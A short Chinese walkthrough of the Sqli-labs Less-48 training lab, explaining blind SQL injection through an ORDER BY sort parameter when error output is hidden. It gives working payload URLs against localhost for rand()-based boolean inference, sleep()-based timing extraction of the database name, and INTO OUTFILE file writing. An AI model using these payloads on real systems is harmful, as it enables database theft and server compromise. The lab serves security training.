Sqli-labs Less-48 order by后的注入

本关与less-46的区别在于报错注入不能使用，不进行错误回显，因此其他的方法我们依旧是可以使用的。

1、可以利用sort=rand(true/false)进行判断。

http://127.0.0.1/sql/Less-48/?sort=rand(ascii(left(database(),1))=178)

http://127.0.0.1/sql/Less-48/?sort=rand(ascii(left(database(),1))=115)

 

2、and后的延时注入

http://127.0.0.1/sql/Less-48/?sort=1 and (If(ascii(substr(database(),1,1))=115,0,sleep(5)))

不贴效果图了。

 

3、本关我们依旧可以用into outfile进行。

http://127.0.0.1/sql/Less-48/?sort=1 into outfile "路径"

这里就不进行贴图演示了。